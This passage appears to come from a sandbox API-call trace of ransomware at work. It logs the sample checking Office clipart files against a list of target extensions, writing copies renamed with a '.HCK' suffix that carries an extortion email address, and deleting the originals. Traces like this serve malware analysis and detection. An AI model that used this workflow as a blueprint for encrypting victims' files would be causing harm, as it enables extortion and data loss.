Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0169.876] lstrlenW (lpString=".1cd") returned 4 [0169.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0169.876] lstrlenW (lpString=".jpg") returned 4 [0169.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0169.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0169.876] lstrlenW (lpString=".doc") returned 4 [0169.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.876] lstrlenW (lpString=".docx") returned 5 [0169.876] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0169.877] lstrlenW (lpString=".pdf") returned 4 [0169.877] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.877] lstrlenW (lpString=".xls") returned 4 [0169.877] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.877] lstrlenW (lpString=".xlsx") returned 5 [0169.877] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0169.877] lstrlenW (lpString=".ppt") returned 4 [0169.877] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0169.877] lstrlenW (lpString=".zip") returned 4 [0169.877] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.877] lstrlenW (lpString=".rar") returned 4 [0169.877] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.877] lstrlenW (lpString=".bz2") returned 4 [0169.877] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.877] lstrlenW (lpString=".7z") returned 3 [0169.877] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0169.877] lstrlenW (lpString=".dbf") returned 4 [0169.877] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0169.877] lstrlenW (lpString=".1cd") returned 4 [0169.877] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0169.877] lstrlenW (lpString=".jpg") returned 4 [0169.877] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.877] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.877] lstrlenW (lpString="J0185798.WMF") returned 12 [0169.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0169.888] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=33824) returned 1 [0169.888] CloseHandle (hObject=0x394) returned 1 [0169.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf")) returned 0x220 [0169.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.896] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.896] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0169.899] GetLastError () returned 0x0 [0169.900] ReadFile (in: hFile=0x330, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x8420, lpOverlapped=0x0) returned 1 [0169.901] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x8430, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x8430, lpOverlapped=0x0) returned 1 [0169.902] ReadFile (in: hFile=0x330, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.902] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.902] SetEndOfFile (hFile=0x368) returned 1 [0169.907] CloseHandle (hObject=0x368) returned 1 [0169.908] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.908] SetEndOfFile (hFile=0x330) returned 1 [0169.914] CloseHandle (hObject=0x330) returned 1 [0169.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf")) returned 1 [0169.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0169.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0169.919] lstrlenW (lpString=".doc") returned 4 [0169.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.919] lstrlenW (lpString=".docx") returned 5 [0169.919] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.919] lstrlenW (lpString=".pdf") returned 4 [0169.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.919] lstrlenW (lpString=".xls") returned 4 [0169.919] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.919] lstrlenW (lpString=".xlsx") returned 5 [0169.919] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.919] lstrlenW (lpString=".ppt") returned 4 [0169.919] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0169.919] lstrlenW (lpString=".zip") returned 4 [0169.919] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.919] lstrlenW (lpString=".rar") returned 4 [0169.919] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.919] lstrlenW (lpString=".bz2") returned 4 [0169.919] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.919] lstrlenW (lpString=".7z") returned 3 [0169.919] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0169.919] lstrlenW (lpString=".dbf") returned 4 [0169.919] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0169.919] lstrlenW (lpString=".1cd") returned 4 [0169.919] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0169.920] lstrlenW (lpString=".jpg") returned 4 [0169.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0169.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0169.920] lstrlenW (lpString=".doc") returned 4 [0169.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.920] lstrlenW (lpString=".docx") returned 5 [0169.920] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.920] lstrlenW (lpString=".pdf") returned 4 [0169.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.920] lstrlenW (lpString=".xls") returned 4 [0169.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.920] lstrlenW (lpString=".xlsx") returned 5 [0169.920] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.920] lstrlenW (lpString=".ppt") returned 4 [0169.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0169.920] lstrlenW (lpString=".zip") returned 4 [0169.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.920] lstrlenW (lpString=".rar") returned 4 [0169.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.920] lstrlenW (lpString=".bz2") returned 4 [0169.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.920] lstrlenW (lpString=".7z") returned 3 [0169.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0169.920] lstrlenW (lpString=".dbf") returned 4 [0169.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0169.920] lstrlenW (lpString=".1cd") returned 4 [0169.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0169.920] lstrlenW (lpString=".jpg") returned 4 [0169.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.920] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.920] lstrlenW (lpString="J0185828.WMF") returned 12 [0169.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0169.926] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=7796) returned 1 [0169.926] CloseHandle (hObject=0x368) returned 1 [0169.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf")) returned 0x220 [0169.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0169.934] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.934] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.938] GetLastError () returned 0x0 [0169.938] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1e74, lpOverlapped=0x0) returned 1 [0169.942] WriteFile (in: hFile=0x330, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1e80, lpOverlapped=0x0) returned 1 [0169.942] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.942] WriteFile (in: hFile=0x330, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.942] SetEndOfFile (hFile=0x330) returned 1 [0169.945] CloseHandle (hObject=0x330) returned 1 [0169.948] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.948] SetEndOfFile (hFile=0x364) returned 1 [0169.949] CloseHandle (hObject=0x364) returned 1 [0169.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.956] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf")) returned 1 [0169.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0169.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0169.959] lstrlenW (lpString=".doc") returned 4 [0169.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.959] lstrlenW (lpString=".docx") returned 5 [0169.959] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.959] lstrlenW (lpString=".pdf") returned 4 [0169.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.959] lstrlenW (lpString=".xls") returned 4 [0169.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.959] lstrlenW (lpString=".xlsx") returned 5 [0169.959] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.959] lstrlenW (lpString=".ppt") returned 4 [0169.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0169.959] lstrlenW (lpString=".zip") returned 4 [0169.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.959] lstrlenW (lpString=".rar") returned 4 [0169.959] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.959] lstrlenW (lpString=".bz2") returned 4 [0169.959] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.959] lstrlenW (lpString=".7z") returned 3 [0169.959] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0169.959] lstrlenW (lpString=".dbf") returned 4 [0169.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0169.959] lstrlenW (lpString=".1cd") returned 4 [0169.959] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0169.959] lstrlenW (lpString=".jpg") returned 4 [0169.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0169.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0169.959] lstrlenW (lpString=".doc") returned 4 [0169.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.959] lstrlenW (lpString=".docx") returned 5 [0169.959] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.959] lstrlenW (lpString=".pdf") returned 4 [0169.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.959] lstrlenW (lpString=".xls") returned 4 [0169.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.959] lstrlenW (lpString=".xlsx") returned 5 [0169.959] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.959] lstrlenW (lpString=".ppt") returned 4 [0169.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0169.959] lstrlenW (lpString=".zip") returned 4 [0169.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.960] lstrlenW (lpString=".rar") returned 4 [0169.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.960] lstrlenW (lpString=".bz2") returned 4 [0169.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.960] lstrlenW (lpString=".7z") returned 3 [0169.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0169.960] lstrlenW (lpString=".dbf") returned 4 [0169.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0169.960] lstrlenW (lpString=".1cd") returned 4 [0169.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0169.960] lstrlenW (lpString=".jpg") returned 4 [0169.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.960] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.960] lstrlenW (lpString="J0186360.WMF") returned 12 [0169.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0169.967] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=33850) returned 1 [0169.967] CloseHandle (hObject=0x360) returned 1 [0169.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf")) returned 0x220 [0169.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0169.976] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.976] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0169.979] GetLastError () returned 0x0 [0169.979] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x843a, lpOverlapped=0x0) returned 1 [0169.980] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x8440, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x8440, lpOverlapped=0x0) returned 1 [0169.982] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.982] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.982] SetEndOfFile (hFile=0x3ac) returned 1 [0169.984] CloseHandle (hObject=0x3ac) returned 1 [0169.985] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.985] SetEndOfFile (hFile=0x308) returned 1 [0169.989] CloseHandle (hObject=0x308) returned 1 [0169.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.990] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf")) returned 1 [0169.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0169.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0169.993] lstrlenW (lpString=".doc") returned 4 [0169.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.993] lstrlenW (lpString=".docx") returned 5 [0169.993] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.993] lstrlenW (lpString=".pdf") returned 4 [0169.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.993] lstrlenW (lpString=".xls") returned 4 [0169.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.993] lstrlenW (lpString=".xlsx") returned 5 [0169.994] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.994] lstrlenW (lpString=".ppt") returned 4 [0169.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0169.994] lstrlenW (lpString=".zip") returned 4 [0169.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.994] lstrlenW (lpString=".rar") returned 4 [0169.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.994] lstrlenW (lpString=".bz2") returned 4 [0169.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.994] lstrlenW (lpString=".7z") returned 3 [0169.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0169.994] lstrlenW (lpString=".dbf") returned 4 [0169.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0169.994] lstrlenW (lpString=".1cd") returned 4 [0169.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0169.994] lstrlenW (lpString=".jpg") returned 4 [0169.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0169.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0169.994] 